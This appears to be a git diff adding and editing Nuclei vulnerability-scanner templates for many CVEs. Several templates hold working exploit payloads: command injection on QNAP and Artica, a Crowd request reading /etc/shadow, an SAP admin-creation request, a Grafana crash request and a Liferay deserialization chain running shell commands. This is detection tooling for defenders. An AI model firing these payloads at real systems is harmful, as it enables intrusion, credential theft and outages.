+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "Bounty Plz"
+        part: header

cves/CVE-2017-6360.yaml

@@ -1,22 +0,0 @@
-id: CVE-2017-6360
-
-info:
-  name: Command Injection in userConfig.cgi cloudPersonalSmtp 'hash'
-  author: Harsh Bothra
-  severity: Critical
-
-# source:- https://www.exploit-db.com/exploits/41842
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
-
-    machers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "uid=0("

cves/CVE-2017-6361.yaml

@@ -1,22 +0,0 @@
-id: CVE-2017-6361
-
-info:
-  name: Command Injection in authLogin.cgi 'reboot_notice_msg'
-  author: Harsh Bothra
-  severity: Critical
-
-# source:- https://www.exploit-db.com/exploits/41842
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf "QNAPVJBD%08d%16s  14`(echo;id)>&2`" $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d "\r\n")'
-
-    machers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "uid=0("

cves/CVE-2017-7529.yaml

@@ -16,7 +16,6 @@ requests:
           Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
           Accept-Language: en-US,en;q=0.5
           Range: bytes=-17208,-9223372036854758792
-          Accept-Encoding: gzip, deflate
           Connection: close
 
     matchers-condition: and

cves/CVE-2017-9841.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-9841
+
+info:
+  name: CVE-2017-9841
+  author: Random-Robbie
+  severity: High
+
+  # Reference to exploit
+  # https://github.com/cyberharsh/Php-unit-CVE-2017-9841
+  # https://github.com/RandomRobbieBF/phpunit-brute
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
+      - "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "this version of phpunit requires php 5"
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/CVE-2018-11759.yaml

@@ -3,14 +3,15 @@ id: CVE-2018-11759
 info:
   name: Apache Tomcat JK Status Manager Access
   author: Harsh Bothra
-  severity: Medium
+  severity: medium
 
-# source:- https://github.com/immunIT/CVE-2018-11759
+# Source:- https://github.com/immunIT/CVE-2018-11759
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/jkstatus'
+      - '{{BaseURL}}/jkstatus;'
 
     matchers-condition: and
     matchers:

cves/CVE-2019-11248.yaml

@@ -0,0 +1,19 @@
+id: CVE-2019-11248
+
+info:
+  name: exposed_pprof
+  author: 0xceeb
+  severity: medium
+
+  # https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
+  # http://mmcloughlin.com/posts/your-pprof-is-showing
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/debug/pprof/"
+    matchers:
+      - type: word
+        words:
+          - "Types of profiles available:"
+          - "Profile Descriptions"

cves/CVE-2019-11580.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11580
+
+info:
+  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Atlassian Crowd and Crowd Data Center
+  # had the pdkinstall development plugin incorrectly enabled in release builds.
+  # Attackers who can send unauthenticated or authenticated requests
+  # to a Crowd or Crowd Data Center instance can exploit this vulnerability
+  # to install arbitrary plugins, which permits remote code execution on
+  # systems running a vulnerable version of Crowd or Crowd Data Center.
+  # All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
+  # from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
+  # from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
+  # from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
+  # and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
+  # -
+  # References:
+  # > https://github.com/jas502n/CVE-2019-11580
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "root:*:"
+          - "bin:*:"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-14322.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-14322
+
+info:
+  name: Odoo 12.0 - Local File Inclusion
+  author: madrobot
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/base_import/static/c:/windows/win.ini"
+      - "{{BaseURL}}/web/static/c:/windows/win.ini"
+      - "{{BaseURL}}/base/static/c:/windows/win.ini"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body

cves/CVE-2019-16759-1.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759-1
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
+  author: madrobot
+  severity: high
+
+# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
+
+requests:
+  - raw:
+      - |
+        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
+        Content-Type: application/x-www-form-urlencoded
+
+        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "PHP Version"

cves/CVE-2019-16759.yaml

@@ -0,0 +1,25 @@
+id: CVE-2019-16759
+
+info:
+  name: 0day RCE in vBulletin v5.0.0-v5.5.4
+  author: dwisiswant0
+  severity: high
+
+requests:
+  - raw:
+      - |
+        POST /index.php?routestring=ajax/render/widget_php HTTP/1.1
+
+        widgetConfig[code]=echo%20%27bm9uZXhpc3RlbnQ6MTMzNwo=%27%20|%20base64%20-d;%20exit;
+      - |
+        POST / HTTP/1.1
+
+        {"routestring":"ajax\/render\/widget_php","widgetConfig[code]":"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;"}
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "nonexistent:1337"

cves/CVE-2019-18394.yaml

@@ -0,0 +1,17 @@
+id: CVE-2019-18394
+
+info:
+  name: Openfire Full Read SSRF
+  author: pdteam - nuclei.projectdiscovery.io
+  severity: critical
+
+  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
+    matchers:
+      - type: word
+        words:
+          - <h1>Burp Collaborator Server</h1>

cves/CVE-2019-19985.yaml

@@ -0,0 +1,33 @@
+id: CVE-2019-19985
+
+info:
+  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
+  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48698
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - Name
+          - Email
+          - Status
+          - Created On
+        condition: and
+        part: body
+
+      - type: word
+        words:
+          - "Content-Disposition: attachment; filename=all-contacts.csv;"
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2019-2725.yaml

@@ -0,0 +1,41 @@
+id: CVE-2019-2725
+
+info:
+  name: Oracle WebLogic Server - Unauthenticated RCE
+  author: dwisiswant0
+  severity: critical
+
+  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
+  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
+  # Easily exploitable vulnerability allows unauthenticated attacker
+  # with network access via HTTP to compromise Oracle WebLogic Server.
+  # Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
+  # --
+  # References:
+  # > https://paper.seebug.org/910/
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/_async/AsyncResponseService"
+      - "{{BaseURL}}:7001/_async/AsyncResponseService"
+    body: >-
+      <?xml version="1.0" encoding="UTF-8" ?>
+      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
+      xmlns:ads="http://www.w3.org/2005/08/addressing">
+        <soapenv:Header></soapenv:Header>
+        <soapenv:Body></soapenv:Body>
+      </soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "soapenv:Envelope"
+        part: body
+      - type: word
+        words:
+          - "X-Powered-By: Servlet"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-3396.yaml

@@ -16,7 +16,6 @@ requests:
            User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
            Referer: {{Hostname}}
            Content-Length: 168
-           Accept-Encoding: gzip, deflate
            Connection: close
 
            {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

cves/CVE-2019-6112.yaml

@@ -0,0 +1,30 @@
+id: CVE-2019-6112
+
+info:
+  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
+  author: dwisiswant0
+  severity: medium
+
+  # A Cross-site scripting (XSS) vulnerability
+  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
+  # allows remote attackers to inject arbitrary web script or HTML
+  # via the keyword parameter (aka $search_term or the Search field).
+  # --
+  # References:
+  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
+          - "alert(1337)"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2019-7609.yaml

@@ -0,0 +1,39 @@
+id: CVE-2019-7609
+
+info:
+  name: Kibana Timelion Arbitrary Code Execution
+  author: dwisiswant0
+  severity: critical
+
+  # Kibana versions before 5.6.15 and 6.6.1
+  # contain an arbitrary code execution flaw in the Timelion visualizer.
+  # An attacker with access to the Timelion application could send a request
+  # that will attempt to execute javascript code.
+  # This could possibly lead to an attacker executing arbitrary commands
+  # with permissions of the Kibana process on the host system.
+  # --
+  # References:
+  # - https://github.com/mpgn/CVE-2019-7609
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/timelion/run"
+      - "{{BaseURL}}:5601/api/timelion/run"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+      Content-Type: "application/json; charset=utf-8"
+    body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "seriesList"
+        part: body
+      - type: word
+        words:
+          - "Content-Type: application/json"
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2019-9978.yaml

@@ -0,0 +1,22 @@
+id: CVE-2019-9978
+
+info:
+  name: WordPress social-warfare RFI
+  author: madrobot & dwisiswant0
+  severity: critical
+
+  # Reference:- https://github.com/mpgn/CVE-2019-9978
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://burpcollaborator.net"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Burp Collabolator Server"
+        part: body

cves/CVE-2020-1147.yaml

@@ -0,0 +1,35 @@
+id: CVE-2020-1147
+
+info:
+  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
+  author: dwisiswant0
+  severity: critical
+
+  # Ref:
+  # - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1147
+  # - https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/_layouts/15/listform.aspx?PageType=1&ListId=%7B13371337-1337-1337-1337-133713371337%7D"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "List does not exist"
+          - "It may have been deleted by another user"
+        part: body
+        condition: and
+      - type: word
+        words:
+          - "Microsoft-IIS"
+          - "X-SharePointHealthScore"
+          - "SharePointError"
+          - "SPRequestGuid"
+          - "MicrosoftSharePointTeamServices"
+        condition: or
+        part: header
+      - type: status
+        status:
+          - 200

cves/CVE-2020-12720.yaml

@@ -15,7 +15,6 @@ requests:
       - |
         POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
         Host: {{Hostname}}
-        Accept-Encoding: gzip, deflate
         Accept: */*
         Connection: keep-alive
         X-Requested-With: XMLHttpRequest

cves/CVE-2020-13379.yaml

@@ -0,0 +1,21 @@
+id: CVE-2020-13379
+
+info:
+  name: Unauthenticated Grafana DoS
+  author: pxmme1337
+  severity: medium
+
+  # Source:-  https://www.exploit-db.com/exploits/48638
+  # WARNING
+  # This vulnerability results in complete crashing of the grafana-server application.
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
+      - "{{BaseURL}}/"
+    matchers:
+      - type: status
+        status:
+          - 502

cves/CVE-2020-17505.yaml

@@ -0,0 +1,45 @@
+id: CVE-2020-17505
+
+info:
+  name: Artica Web Proxy 4.30 OS Command Injection
+  author: dwisiswant0
+  severity: high
+
+  # Artica Web Proxy 4.30.00000000
+  # allows an authenticated remote attacker
+  # to inject commands via the service-cmds parameter in cyrus.php.
+  # These commands are executed with root
+  # privileges via service_cmds_peform.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - raw:
+      - |
+        GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+      - |
+        GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: */*
+        Connection: close
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "array(2)"
+          - "Position: ||whoami||"
+          - "root"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-17506.yaml

@@ -0,0 +1,41 @@
+id: CVE-2020-17506
+
+info:
+  name: Artica Web Proxy 4.30 Authentication Bypass
+  author: dwisiswant0
+  severity: critical
+
+  # Artica Web Proxy 4.30.00000000
+  # allows remote attacker to bypass privilege detection
+  # and gain web backend administrator privileges
+  # through SQL injection of the apikey parameter in fw.login.php.
+  # -
+  # References:
+  # > https://blog.max0x4141.com/post/artica_proxy/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "artica-applianc"
+      - type: status
+        status:
+          - 200
+          - 301
+          - 302
+        condition: or
+      - type: word
+        name: session
+        words:
+          - "PHPSESSID"
+        part: header
+    extractors:
+      - type: kval
+        kval:
+          - "PHPSESSID"

cves/CVE-2020-3187.yaml

@@ -0,0 +1,24 @@
+id: CVE-2020-3187
+
+# Reference: https://twitter.com/aboul3la/status/1286809567989575685
+
+info:
+  name: CVE-2020-3187
+  author: KareemSe1im
+  severity: High
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOE+/session_password.html"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - webvpn
+          - Webvpn
+        part: header
+
+      - type: status
+        status:
+          - 200

cves/CVE-2020-3452.yaml

@@ -0,0 +1,19 @@
+id: CVE-2020-3452
+
+# Source: https://twitter.com/aboul3la/status/1286012324722155525
+
+info:
+  name: CVE-2020-3452
+  author: pdteam
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"
+    matchers:
+      - type: word
+        words:
+          - "INTERNAL_PASSWORD_ENABLED"
+          - "CONF_VIRTUAL_KEYBOARD"
+        condition: and

cves/CVE-2020-5284.yaml

@@ -2,19 +2,23 @@ id: CVE-2020-5284
 
 info:
   name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul
+  author: Harsh & Rahul & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
-
     matchers-condition: and
     matchers:
       - type: regex
         regex:
           - '\{"/_app":".*?_app\.js"'
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
       - type: status
         status:
           - 200

cves/CVE-2020-5902.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-5902
 
 info:
   name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0
+  author: madrobot & dwisiswant0 & ringo
   severity: high
 
 requests:
@@ -11,6 +11,7 @@ requests:
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
       - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
+      - "{{BaseURL}}/hsqldb%0a"
     matchers-condition: and
     matchers:
       - type: status
@@ -21,6 +22,7 @@ requests:
           - "root:[x*]:0:0:"
           - "BIG-IP release ([\\d.]+)"
           - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
+          - "HSQL Database Engine Servlet"
         condition: or
         part: body
   - raw:
@@ -59,4 +61,4 @@ requests:
           - 200
       - type: word
         words:
-          - "h3ll0_w0Rld"
+          - "h3ll0_w0Rld"

cves/CVE-2020-6287.yaml

@@ -0,0 +1,37 @@
+id: CVE-2020-6287
+
+info:
+  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  author: dwisiswant0
+  severity: critical
+
+  # Affected Versions: 7.30, 7.31, 7.40, 7.50
+
+  # p.s:
+  # > Don't forget to change the default credentials
+  # > to create new admin in associated file:
+  # > `payloads/CVE-2020-6287.xml`
+
+  # Ref:
+  # - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287
+
+requests:
+  - payloads:
+      data: "payloads/CVE-2020-6287.xml"
+    raw:
+      - |
+        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: text/xml; charset=UTF-8
+        Connection: close
+
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "urn:CTCWebServiceSi"
+        part: body
+      - type: status
+        status:
+          - 200

cves/CVE-2020-7961.yaml

@@ -3,21 +3,58 @@ id: CVE-2020-7961
 info:
   name: Liferay Portal Unauthenticated RCE
   author: dwisiswant0
-  severity: high
+  severity: critical
+
+  # Deserialization of Untrusted Data in
+  # Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers
+  # to execute arbitrary code via JSON web services (JSONWS).
+  # -
+  # References:
+  # > https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
 
 requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/api/jsonws/invoke"
-      - "{{BaseURL}}:8080/api/jsonws/invoke"
-    headers:
-      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
-      Connection: "close"
-      Content-Type: "application/x-www-form-urlencoded"
-      cmd2: "bash -c 'curl -v \"http://nonexistent/\" -H \"Connection: close\"' -m 1"
-    body: "{\"p_auth\":\"AdsXeCqz\",\"tableId%3d1\":\"\",\"formDate\":\"1526638413000\",\"columnId\":\"123\",\"defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\":\"{\\\"userOverridesAsString\\\":\\\"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878;\\\"}\",\"name\":\"A\",\"cmd\":\"{\\\"/expandocolumn/update-column\\\":{}}\"Line truncated
+  - payloads:
+      command:
+        - "systeminfo" # Windows
+        - "lsb_release -a" # Linux
+        - "sysctl kern.ostype" # macOS
+      port:
+        - "80"
+        - "443"
+        - "8080"
+    attack: sniper
+    raw:
+      - |
+        POST /api/jsonws/invoke HTTP/1.1
+        Host: {{Hostname}}:port
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Content-Length: 4938
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
+        X-Requested-With: XMLHttpRequest
+        cmd2: command
+        Accept-Encoding: gzip, deflate
+
+        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616